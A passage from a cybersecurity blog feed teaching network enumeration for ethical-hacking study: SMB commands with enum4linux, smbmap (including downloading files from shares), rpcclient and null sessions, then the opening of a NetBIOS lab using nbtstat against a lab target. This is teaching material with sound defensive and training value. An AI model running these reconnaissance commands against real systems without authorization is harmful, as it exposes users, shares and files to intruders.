# Verbose enumeration with all checks
enum4linux -a &lt;target_IP&gt;

# Enumerate users only
enum4linux -U &lt;target_IP&gt;

# Enumerate shares only  
enum4linux -S &lt;target_IP&gt;</code></code></pre><p>enum4linux provides detailed information including:</p><ul><li><p>Domain and workgroup information</p></li><li><p>Password policy details</p></li><li><p>User and group listings</p></li><li><p>Share permissions and contents</p></li><li><p>System information and OS details</p></li></ul><h3>SMB Enumeration with smbmap:</h3><p>smbmap specializes in SMB share enumeration and permission analysis:</p><pre><code><code># Basic share enumeration
smbmap -H &lt;target_IP&gt;

# Enumerate with specific credentials
smbmap -H &lt;target_IP&gt; -u &lt;username&gt; -p &lt;password&gt;

# Recursive directory listing
smbmap -H &lt;target_IP&gt; -R

# Download files from shares
smbmap -H &lt;target_IP&gt; --download '&lt;share&gt;\&lt;file&gt;'</code></code></pre><h3>SMB Enumeration with rpcclient:</h3><p>rpcclient enables RPC-based enumeration of SMB services:</p><pre><code><code># Connect with null session
rpcclient -U "" &lt;target_IP&gt;

# Common rpcclient commands:
rpcclient&gt; enumdomusers        # Enumerate domain users
rpcclient&gt; enumdomgroups       # Enumerate domain groups  
rpcclient&gt; querydominfo        # Query domain information
rpcclient&gt; netshareenumall     # Enumerate network shares</code></code></pre><h3>Null Session Attacks:</h3><p>Many SMB implementations allow null sessions, which provide unauthenticated access to certain information:</p><pre><code><code># Test for null session access
smbclient -L //&lt;target_IP&gt; -N
net use \\&lt;target_IP&gt;\ipc$ "" /user:""</code></code></pre><p>Null sessions can reveal:</p><ul><li><p>Share listings and permissions</p></li><li><p>User account information</p></li><li><p>System configuration details</p></li><li><p>Password policy information</p></li></ul><h3>SMB Enumeration Tools:</h3><ul><li><p><strong>smbclient</strong>: Command-line SMB client for share access and enumeration</p></li><li><p><strong>enum4linux</strong>: Comprehensive SMB and NetBIOS enumeration tool</p></li><li><p><strong>smbmap</strong>: SMB share enumeration and permission analysis</p></li><li><p><strong>Nmap SMB scripts</strong>: Built-in scripts for automated SMB discovery</p></li><li><p><strong>rpcclient</strong>: RPC client for SMB service enumeration</p></li><li><p><strong>nbtscan</strong>: NetBIOS name scanner for SMB-enabled systems</p></li><li><p><strong>SMBMap</strong>: Python-based SMB enumeration tool</p></li><li><p><strong>nullinux</strong>: SMB null session enumeration tool</p></li></ul><div><hr></div><h2>Next Step: Vulnerability Scanning</h2><p>In this guide, you've learned how to extract detailed information from network services. Network scanning finds open ports. Enumeration discovers what's actually running on those ports and how it's configured.</p><p>This intelligence prepares you for vulnerability scanning, the final step in Phase 2. You'll take the service versions and configuration details and match them against known security flaws.</p><p>Once you complete vulnerability scanning, you move into Phase 3: Gaining Access. The vulnerabilities you find become your entry points into the target systems. That's when you can finally put on the mask and start the real hacking!</p><p><strong>Stay tuned for the next post on vulnerability scanning.</strong></p>]]></content:encoded></item><item><title><![CDATA[Lab: NetBIOS Enumeration with Windows Command Line Tools]]></title><description><![CDATA[In this lab we will focus on NetBIOS enumeration using native Windows command-line utilities to discover what information this particular protocol exposes and how that information can be used for further assessment and potential exploitation.]]></description><link>https://darkmarc.substack.com/p/lab-netbios-enumeration-with-windows</link><guid isPermaLink="false">https://darkmarc.substack.com/p/lab-netbios-enumeration-with-windows</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Tue, 16 Sep 2025 00:12:08 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!YNfM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20403b2f-1294-4974-a9a8-75d2d820af0f_1500x1500.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Enumeration is the second step of Phase 2 (Scanning) in the EC-Council Ethical Hacking methodology. </strong>In this phase, we actively probe target systems to gather detailed information about available services, resources, and potential vulnerabilities.</p><p>Enumeration can target various protocols and services such as SNMP, LDAP, DNS, SMB, and NetBIOS. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!YNfM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20403b2f-1294-4974-a9a8-75d2d820af0f_1500x1500.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!YNfM!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20403b2f-1294-4974-a9a8-75d2d820af0f_1500x1500.png 424w, https://substackcdn.com/image/fetch/$s_!YNfM!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20403b2f-1294-4974-a9a8-75d2d820af0f_1500x1500.png 848w, https://substackcdn.com/image/fetch/$s_!YNfM!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20403b2f-1294-4974-a9a8-75d2d820af0f_1500x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!YNfM!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20403b2f-1294-4974-a9a8-75d2d820af0f_1500x1500.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!YNfM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20403b2f-1294-4974-a9a8-75d2d820af0f_1500x1500.png" width="1456" height="1456" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/20403b2f-1294-4974-a9a8-75d2d820af0f_1500x1500.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1456,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:757264,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173696599?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20403b2f-1294-4974-a9a8-75d2d820af0f_1500x1500.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!YNfM!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20403b2f-1294-4974-a9a8-75d2d820af0f_1500x1500.png 424w, https://substackcdn.com/image/fetch/$s_!YNfM!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20403b2f-1294-4974-a9a8-75d2d820af0f_1500x1500.png 848w, https://substackcdn.com/image/fetch/$s_!YNfM!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20403b2f-1294-4974-a9a8-75d2d820af0f_1500x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!YNfM!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20403b2f-1294-4974-a9a8-75d2d820af0f_1500x1500.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>When legacy Windows systems are present and NetBIOS is enabled, NetBIOS enumeration is an effective technique we can use to discover critical network intelligence including machine names, shared resources, user accounts, system services, and security configurations.</p><p><strong>In this lab we will focus on NetBIOS enumeration</strong> using native Windows command-line utilities to discover what information this particular protocol exposes and how that information can be used for further assessment and potential exploitation.</p><div><hr></div><h2>Learning Objectives</h2><p>By the end of this lab you should be able to reliably extract and interpret reconnaissance data from NetBIOS-enabled hosts, including (but not limited to):</p><ul><li><p>Machine names, operating system versions, running services, and open ports</p></li><li><p>Network resources and published shares on individual hosts</p></li><li><p>Usernames and user groups visible via enumeration</p></li><li><p>Share permissions (read/write/listing capabilities)</p></li><li><p>System and service policies, and exposed configuration data</p></li><li><p>Routing table and audit/service settings that are discoverable</p></li><li><p>SNMP details and fully qualified domain names (FQDNs) where available</p></li></ul><div><hr></div><h3><strong>Prerequisites</strong></h3><p><strong>Before you begin this lab, ensure you have the following:</strong></p><ol><li><p><strong>Hypervisor Software</strong>: You&#8217;ll need a hypervisor to create and manage virtual machines.</p></li><li><p><strong>Virtual Machines</strong>: Set up one Windows Server 2019 machine to act as your attacker and one Windows 11 (with NetBIOS enabled) as the target.</p></li><li><p><strong>Basic Understanding</strong>: This lab is intended for those with some knowledge of hypervisors and virtual machines. If you're new to these concepts, you can learn them in this lab: <a href="https://darkmarc.substack.com/p/how-to-create-virtual-machines-for">How to Create Virtual Machines for Cybersecurity Labs</a></p></li></ol><div class="digest-post-embed" data-attrs="{&quot;nodeId&quot;:&quot;52fd1359-bdf9-4ab2-9ea1-66ac21ae338d&quot;,&quot;caption&quot;:&quot;Virtual machines (VMs) are software-based emulations of physical computers. They let you run multiple operating systems on one physical machine, providing an effective and safe environment for training and testing.&quot;,&quot;cta&quot;:&quot;Read full story&quot;,&quot;showBylines&quot;:true,&quot;size&quot;:&quot;sm&quot;,&quot;isEditorNode&quot;:true,&quot;title&quot;:&quot;How to Create Virtual Machines for Cybersecurity Labs&quot;,&quot;publishedBylines&quot;:[{&quot;id&quot;:313925317,&quot;name&quot;:&quot;Dark Marc&quot;,&quot;bio&quot;:&quot;The digital world is under attack&#8212;breaches, exploits, and evolving threats. Will you be ready? Join me as we explore hacking, cybersecurity, and the edge of digital warfare. Stay sharp. Stay ahead.&quot;,&quot;photo_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f76ab9c8-c43d-4098-b472-db750cc2b403_500x500.png&quot;,&quot;is_guest&quot;:false,&quot;bestseller_tier&quot;:null}],&quot;post_date&quot;:&quot;2025-07-07T20:51:42.467Z&quot;,&quot;cover_image&quot;:&quot;https://substackcdn.com/image/fetch/$s_!TBff!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88fc39d3-ddec-4d0d-930f-eb2cd183a0d6_1000x700.png&quot;,&quot;cover_image_alt&quot;:null,&quot;canonical_url&quot;:&quot;https://darkmarc.substack.com/p/how-to-create-virtual-machines-for&quot;,&quot;section_name&quot;:null,&quot;video_upload_id&quot;:null,&quot;id&quot;:167697683,&quot;type&quot;:&quot;newsletter&quot;,&quot;reaction_count&quot;:10,&quot;comment_count&quot;:1,&quot;publication_id&quot;:null,&quot;publication_name&quot;:&quot;Dark Marc | Cybersecurity, Hacking &amp; Tech&quot;,&quot;publication_logo_url&quot;:&quot;https://substackcdn.com/image/fetch/$s_!VPsM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c500f6a-7cf3-418d-b207-af8e956973c5_500x500.png&quot;,&quot;belowTheFold&quot;:true,&quot;youtube_url&quot;:null,&quot;show_links&quot;:null,&quot;feed_url&quot;:null}"></div><p>&#9888; Important Note: Use an isolated lab network (virtual machines or a segmented VLAN). Do <strong>not</strong> perform enumeration on networks or devices for which you do not have explicit authorization.</p><div><hr></div><h2>What is NetBIOS?</h2><p><strong>NetBIOS (Network Basic Input/Output System)</strong> is an older API used by Windows to support name resolution and resource sharing on small local networks. </p><p>It provides a session layer interface that allows applications on different computers to communicate over a local area network. NetBIOS exposes various types of information through different enumeration methods:</p><ul><li><p><strong>Name records:</strong> 16-character identifiers where the first 15 characters represent the host or device name, and the 16th character indicates the service type or record suffix</p></li><li><p><strong>Shared resources:</strong> Network shares, printers, and other resources available on target machines</p></li><li><p><strong>User and group information:</strong> Account details visible through network enumeration</p></li><li><p><strong>Service information:</strong> Running services, session details, and network capabilities</p></li></ul><p>Although modern Windows releases favor DNS and newer protocols, many environments &#8212; especially those with legacy systems, default configurations, or mixed network environments &#8212; still have NetBIOS enabled. </p><p>This persistence makes NetBIOS enumeration a valuable reconnaissance technique that can reveal detailed information about network topology, available resources, and potential attack vectors without requiring authentication.</p><div><hr></div><h2>What are NetBIOS Shares?</h2><p>On Windows, a share is any folder or resource exported over the network (for example \HOST\Public). Each share has access controls that determine who can list, read, or write files. NetBIOS enumeration reveals which shares exist and what access levels are allowed for particular users or groups.</p><ul><li><p>If a share permits read access, an attacker could exfiltrate files.</p></li><li><p>If a share permits write access, an attacker could upload files, modify or delete data, or consume disk space (potential DoS).</p></li><li><p>If no accessible shares exist (or all require strong credentials), the immediate risk is reduced, but enumeration still yields host and account information useful for follow-on attacks.</p></li></ul><div><hr></div><h2><strong>Lab Goal: </strong>Use Windows Utilities for NetBIOS Enumeration (nbtstat and net use)</h2><h3><strong>Part 1: Use nbtstat to perform NetBIOS enumeration</strong></h3><p>The <code>nbtstat</code> utility is a built-in Windows command that displays NetBIOS over TCP/IP (NetBT) information.</p><p>The nbtstat tool reveals which NetBIOS names, services, and resources a target host is advertising over the network. </p><p>This information enables further reconnaissance by identifying available shares, active services, and potential entry points for deeper network penetration.</p><p>In this lab, we will use our Windows Server 2019 machine (10.10.1.19) as the attacking platform to enumerate a Windows 11 target machine (10.10.1.11) over the network.</p><div><hr></div><h2>Lab Instructions:</h2><p>Log into your Windows Server 2019 machine.</p><h3><strong>Step 1 ) Make your machine discoverable on the network:</strong></h3><p>If the Networks screen appears, <strong>click &#8216;Yes&#8217;</strong> to allow your PC to be discoverable by other PC&#8217;s on the network. This is an important step, because if you don&#8217;t click &#8216;Yes&#8217; the device will be hidden from others on the network.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tBNN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf1237d6-b27c-4fe8-bfda-6a79043664f9_1848x1628.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tBNN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf1237d6-b27c-4fe8-bfda-6a79043664f9_1848x1628.png 424w, https://substackcdn.com/image/fetch/$s_!tBNN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf1237d6-b27c-4fe8-bfda-6a79043664f9_1848x1628.png 848w, https://substackcdn.com/image/fetch/$s_!tBNN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf1237d6-b27c-4fe8-bfda-6a79043664f9_1848x1628.png 1272w, https://substackcdn.com/image/fetch/$s_!tBNN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf1237d6-b27c-4fe8-bfda-6a79043664f9_1848x1628.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tBNN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf1237d6-b27c-4fe8-bfda-6a79043664f9_1848x1628.png" width="1456" height="1283" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/af1237d6-b27c-4fe8-bfda-6a79043664f9_1848x1628.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1283,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:609076,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173696599?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf1237d6-b27c-4fe8-bfda-6a79043664f9_1848x1628.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!tBNN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf1237d6-b27c-4fe8-bfda-6a79043664f9_1848x1628.png 424w, https://substackcdn.com/image/fetch/$s_!tBNN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf1237d6-b27c-4fe8-bfda-6a79043664f9_1848x1628.png 848w, https://substackcdn.com/image/fetch/$s_!tBNN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf1237d6-b27c-4fe8-bfda-6a79043664f9_1848x1628.png 1272w, https://substackcdn.com/image/fetch/$s_!tBNN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf1237d6-b27c-4fe8-bfda-6a79043664f9_1848x1628.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>Step 2) Use 'nbtstat&#8217; to perform NetBIOS enumeration</h3><p>Use nbtstat commands to enumerate NetBIOS on the target machine.</p><h4>A) Type <code>nbtstat &#8212;help</code> to view all available commands:</h4><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Dxct!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910150df-6376-474d-b06a-be717b7d3f9b_1816x1196.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Dxct!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910150df-6376-474d-b06a-be717b7d3f9b_1816x1196.png 424w, https://substackcdn.com/image/fetch/$s_!Dxct!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910150df-6376-474d-b06a-be717b7d3f9b_1816x1196.png 848w, https://substackcdn.com/image/fetch/$s_!Dxct!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910150df-6376-474d-b06a-be717b7d3f9b_1816x1196.png 1272w, https://substackcdn.com/image/fetch/$s_!Dxct!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910150df-6376-474d-b06a-be717b7d3f9b_1816x1196.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Dxct!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910150df-6376-474d-b06a-be717b7d3f9b_1816x1196.png" width="1456" height="959" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/910150df-6376-474d-b06a-be717b7d3f9b_1816x1196.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:959,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:426632,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173696599?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910150df-6376-474d-b06a-be717b7d3f9b_1816x1196.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Dxct!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910150df-6376-474d-b06a-be717b7d3f9b_1816x1196.png 424w, https://substackcdn.com/image/fetch/$s_!Dxct!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910150df-6376-474d-b06a-be717b7d3f9b_1816x1196.png 848w, https://substackcdn.com/image/fetch/$s_!Dxct!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910150df-6376-474d-b06a-be717b7d3f9b_1816x1196.png 1272w, https://substackcdn.com/image/fetch/$s_!Dxct!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910150df-6376-474d-b06a-be717b7d3f9b_1816x1196.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h4><strong>B) Use nbtstat -a to Display NetBIOS Name Table</strong> </h4><p>A NetBIOS name table is a list of network identities and services that a Windows machine advertises to other computers on the network. It ells other devices what it's called, what workgroup it belongs to, and what network services it's running.</p><p>The command <code>nbtstat -a [IP Address]</code> will display the NetBIOS name table for the target machine. This table lists the NetBIOS name table of the target device, listing devices it has shares with on the network.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_0AK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98b1e60a-bc52-44a5-bcde-042336fd625b_1818x848.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_0AK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98b1e60a-bc52-44a5-bcde-042336fd625b_1818x848.png 424w, https://substackcdn.com/image/fetch/$s_!_0AK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98b1e60a-bc52-44a5-bcde-042336fd625b_1818x848.png 848w, https://substackcdn.com/image/fetch/$s_!_0AK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98b1e60a-bc52-44a5-bcde-042336fd625b_1818x848.png 1272w, https://substackcdn.com/image/fetch/$s_!_0AK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98b1e60a-bc52-44a5-bcde-042336fd625b_1818x848.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_0AK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98b1e60a-bc52-44a5-bcde-042336fd625b_1818x848.png" width="1456" height="679" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/98b1e60a-bc52-44a5-bcde-042336fd625b_1818x848.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:679,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:256298,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173696599?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98b1e60a-bc52-44a5-bcde-042336fd625b_1818x848.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_0AK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98b1e60a-bc52-44a5-bcde-042336fd625b_1818x848.png 424w, 